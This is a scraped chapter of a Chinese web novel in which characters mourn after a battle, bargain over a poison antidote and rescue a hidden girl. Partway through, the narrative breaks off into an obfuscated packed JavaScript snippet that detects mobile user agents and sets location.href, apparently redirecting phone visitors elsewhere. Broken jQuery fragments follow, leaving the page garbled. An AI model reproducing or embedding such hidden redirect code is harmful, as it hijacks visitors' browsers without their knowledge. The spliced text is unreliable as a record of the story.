默认冷灰
24号文字
方正启体

186. 茫茫

作者:为衣山人本书字数:K更新时间:
    “我,我将百姓带回城中,对......对!”魏阶抓着黄沙从地上爬起,双腿酸痛的好似要炸裂,左腿往前一步,右腿用力拖一步,每一步都艰难至极。


    江潜垂眸,回首望了眼仅剩无几的残兵,众人目光空洞,刹寂的沙场响起淅沥沥的哀鸣啜泣。


    “活要见人,死要见尸,你们几个去将赵将军与祁刺史找回来,来人,将孙校尉抬回邕州城中。”戚予道。


    “我要回大营,”言栀轻咳两声,抬眸望江潜,“谢闻枝的尸身还在那儿,我得去看看,还有他的遗物没来得及收拾......”


    “好。”江潜二话不说,一拉缰绳向大营返回,恭叔霖与戚筠在后头紧跟。


    “不,他不能走!”惊长缨直指戚筠的喉咙,魏阶怒目圆睁,而后者却是一副疲倦模样。


    戚予压下惊长缨,道:“好不容易活着擒回的,公主就这般草草杀了,谁来向朝廷交代?”


    魏阶艰难垂眸,双唇止不住的颤抖,最后冷哼一声放下兵器,眸中满是不甘。


    “只怕他便是朝廷给我们的交代。”魏阶声音低沉,强忍着酸楚回首上马,先恭叔霖一步向邕州方向跑,百姓们还未缓过神来,却也被兵卒带离战场,纷纷往回赶。


    戚予轻叹一声,继续赶路。


    “爹......”戚筠的声音从后响起,“恭喜,您可算找到兄长了。”


    戚予没有回头,“只怕你一早便猜到了吧?”


    戚筠跟上他的速度,与他并肩而行,“和您一样,猜测罢了,没有实证怎敢妄言?爹,我以后还能叫您爹吗?”他撑出一个笑容来,却是惨淡至极。


    戚予没有放慢速度,“跟了我这么多年,教你术法,你祸乱人间,我只当没看见,便也护了你这么多年,我们之间的恩情谁也还不清谁的。”


    “可您如今用的着肉身可是我千辛万苦寻来的,您不能忘!”戚筠呼吸不稳。


    戚予颔首:“是,这凡胎肉身用了这么多年,我早就成了恭叔霖,我不会忘。”


    “你找到了亲生儿子,就要抛下我吗?”戚筠赶在他前头,心被揪紧了。


    戚予抬头望天,叹道:“回头我给你改一个名字吧,你是吃百家饭长大的,我们偶然得缘,当时我失去一切,舍了言栀,心痛至极,悬衡是他娘亲取的字,戚筠本是我给他准备的名,一时糊涂,这才唤你为筠。”


    戚筠怔忡,没有回话。


    “或是你不喜欢这个名,也不喜欢这个姓,不如晚些你与江潜言栀握手言和,江潜那孩子锦绣心肠,让他为你取个名也未尝不可,从此你好好修道,来日定有相见之机。”戚予说道。


    “......连名字也是他的?”戚筠声音微弱,犹如雪落。


    “什么?”戚予没有听清。


    “这份情谊是假,名字也是假的?”戚筠红了眼眶,咬着牙问,“我与您有几分相似,如今也常有人分不清我和言栀,那您如今分得清我与他吗?”


    戚予迟疑片刻,道:“你与言栀确实相像,年前我与他初相见,也是心中大骇,以为是你对朝中起了兴趣,试图搅弄风云,可片刻我便看清了,乍一看容貌性情皆有相似,实则差得很远很远。”


    “谁差谁远?”戚筠直勾勾盯着他。


    戚予面色不虞:“何必多问,我无心比较,赶紧回大营去,你的傀儡做下诸多孽障,我信你并非喋血之人,回去将事由始末说一五一十清楚。”


    “说清楚?我无话可说,您老做个抉择吧,我与言栀只能留一个。”戚筠抹干泪水,冷声道。


    戚予勒马急停:“这又何苦?你是我一手养大,言栀是我亏欠多年,都是心血,我只要你将这些年所作所为全盘告知,言栀与江潜都是明事理的孩子,或可容你。若他不容,你暂时退居山野修习,来日定有破冰之时。”


    戚筠嘲道:“您别妄想了,他不会容我的,我这一生受您庇佑,除了您,没人容得下我!”


    戚予垂眸,道:“既如此,那便只有那个法子了,我为你寻一处山野清修之地。”


    “呵,说到底,还是将我舍下了,”戚筠抬眸,“是啊,我才是冒牌货,你救我于水火,我救你与危难,本身就是合作罢了。”


    未等戚予回答,戚筠便自顾说道:“纵然如此,我也不愿做人替代,我生性便是恶的,我只要做那唯一之人,不必您做选择了。”


    听他此话,戚予居然心中长吁一气,多年的如履薄冰如今也终于平稳,愧疚却又交杂心间,“好,愿你往后顺遂一生,平安无虞。”


    正欲分道扬镳,戚筠忽然爆发一阵大笑,令人毛骨悚然,笑音被风吹散了,耳朵却还刺痛着。


    “一辈子都是交易,合作,倒不如我们最后合作一次。”戚筠敛容微笑,“言栀身上中的蛊毒是我配给月神殿言桐的,包括那匕首也是我锻出的,孟黎书找不出解决之法,只有我知道如何配置解药。”


    戚予猝然回首,“你说什么?”


    “我见他第一眼,那是他刚下凡的时候,连你也不知道他的时候,就那一眼我便猜到了他的身份,谋划如何使魏籍与江潜离心,如何让言桐与我合作,如何配毒,都是为了杀他!我没有父亲,你是我唯一的家人,我在死人堆里生,召唤出你,那都是为了能够站在群山之巅,我要荣华一世,我要长生!”戚筠愤恨道,“谁都不能来阻止我!”


    戚予暗叹一声“疯了”,伸手掐住戚筠的喉咙:“解药在哪!”


    戚筠皱起眉头,痛苦不堪,却还强撑微笑:“你......你别以为,找个人引出蛊毒便可化解?哪有这么容易!要想、要想我配解药,除非......”


    “除非什么?”戚予见他面色煞白,微微松了手劲。


    戚筠猛烈咳嗽几声,艰难呼吸着,“你、你让江潜跟我走!”


    “你说什么?”戚予微眯双眸。


    “如今我没有退路了!杀不了言栀和江潜,招朔北三州怨恨,哪还有什么转圜之机!你不是说江潜锦绣心肠?世人都道他足智多谋,既如此,就该让他帮我想一条出路!”戚筠反手抓住戚予的衣领,疯狗般大喊。


    “那何须他跟你走?”戚予道。


    “不和我走,我哪知道你们会不会使阴招?我只这一个念头,没得商量,要不要解药,如何取舍,你们自己商量去吧!”戚筠甩开他的手,挣脱了束缚,立刻调转马头,“商量出结果,明日我在留邕交界等你,若不把人带来,那便让言栀等死。”


    戚予正要去抓他翻飞的衣袂,忽然风又起,回过神来早已不见戚筠踪影。


    邕州府衙,孙澄音躺在榻上突然惊醒,他喘着粗气,手下猛然一惊,见是他苏醒,便长舒一气。


    孙澄音喉咙干哑至极,难以发声,颤抖的手指点了点不远处的一杯水,手下恍然后连忙将茶碗捧给他。


    “哈......”孙澄音大喝两口,水珠从下颚滑落,“宣,宣将军,他还好吗?”


    手下一听“宣翰”二字,顿时眼眶湿润,鼻尖酸楚,“宣将军战死......找到他时,将军守在十多里外的外城前,手执旌旗单膝跪着,据生还的士卒说,将军死前带兵硬是将敌军逼至十里之外,这才放心城中百姓。”


    孙澄音脑中一片空白,仿佛已经麻木不堪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303570|156964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“他人在哪?”


    “宣将军?如今停在府中......”


    孙澄音点点头,放下茶碗,干涩道:“我要带他回留州的,我答应过他。”他翻身下榻,剧烈酸痛席卷全身,在手下的搀扶下他拖着拉伤的腿走出房,鼻中还残留着血腥味,孙澄音一抹鼻子,擦下来几块血痂。


    “还是一股血腥味。”孙澄音木讷道,疲乏至极,一阵头晕眼花,他搓揉双眼,再睁开时映入眼帘的是宣翰的尸身,马革裹着,躺在担架之上。


    手下连忙解释:“来不及为将军打棺材了......”


    孙澄音阖眸,再次颔首,喃喃:“我会带他回留州的。”


    忽然,一个念头闪进孙澄音的脑海,他猛地抓住身旁之人,目光狠厉:“呼延灼那个狗呢?”


    手下吃痛,却不敢妄言:“听刺史大人的吩咐,一直看守在石牢之中。”


    “带我去!”孙澄音捏紧他的手腕。


    “是、是。”


    手下将他引至石牢之前,看守的士兵排成两排纹丝不动,目光依旧坚毅,可不知是日晚点了灯的缘故还是其他,却发觉他们眼眶肿胀,好似被什么刺红了眼。


    孙澄音快步走进,来到看押呼延灼的那间牢房,呼延灼瘫倒角落酣睡,像是一滩糊了血的肉。


    不知从哪亮出一把尖刀,孙澄音手起刀落,下一秒呼延灼人首分离,而孙澄音仍旧不解气般一刀又一刀刺入皮肉,滚烫的血泼了一地。


    “哈......哈......”孙澄音喘着气,擦了擦脸上的血。


    手下深深呼吸,忍住眸中泪水,去扶孙澄音起来。


    “大人,还有一桩事来不及禀报......”手下缓道,似乎有些犹豫。


    “什么?”孙澄音如今倒是清醒了几分。


    “刺史大人的妹妹不见了,已经派人去找!恭将军的人也一起去了,想必不久便能找到人。”


    孙澄音怔愣。突然甩开他的手,疯了似的冲向府衙后头的祁府私宅,手下来不及追,只能任由他去。


    寄命,祁归远曾说过,府中有寄命。


    孙澄音冲入后宅时,里头已经混乱不堪,家具散落一地,他冲入书房将身躯紧紧贴向了每一面墙,敲击仔细辨认里头的声音。


    “咚咚,咚咚,咚——”


    找到了!孙澄音使出全身力气推开书架,果真出现一道暗门,暗门并未完全合拢,仿佛是知晓他终会到来。


    “祁、祁小姐!”孙澄音忘了祁燕婵的名字,“祁小姐!”


    “呜呜呜!铛铛!”一阵呜咽伴随着以肉击铁的沉闷,孙澄音淡淡目光落至角落的铁箧上,他反手拿刀,一下两下终于将锁头击落。


    “铛——”


    铁箧被打开,里头是满头大汗混着泪水,拼命喘气的祁燕婵,她通红的眼望着来者,不是她的哥哥。


    “啊......啊啊啊!”祁燕婵话说不出口,张大嘴哭嚎哀恸。孙澄音的泪水也随之而下。


    他猛然抱住箧中女孩,两人相拥而泣,紧紧抓攥对方衣裳,仿佛都是互相唯一的寄托。


    “我会带你回留州、我会带你回留州!”孙澄音哭道,无意识般一遍遍重复。


    “我哥哥呢?我哥哥呢!啊啊啊.....我哥哥去哪了!”祁燕婵捶打他的脊背,撕咬孙澄音的肩头,泪水混着血液咸在口中,目光绝望涣散。


    而孙澄音只能抱她更紧,“我带你回留州......我带你回留州!”


    “我哥哥呢!我哥哥、我哥哥去哪了啊啊啊......”


    “我带你回留州......”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)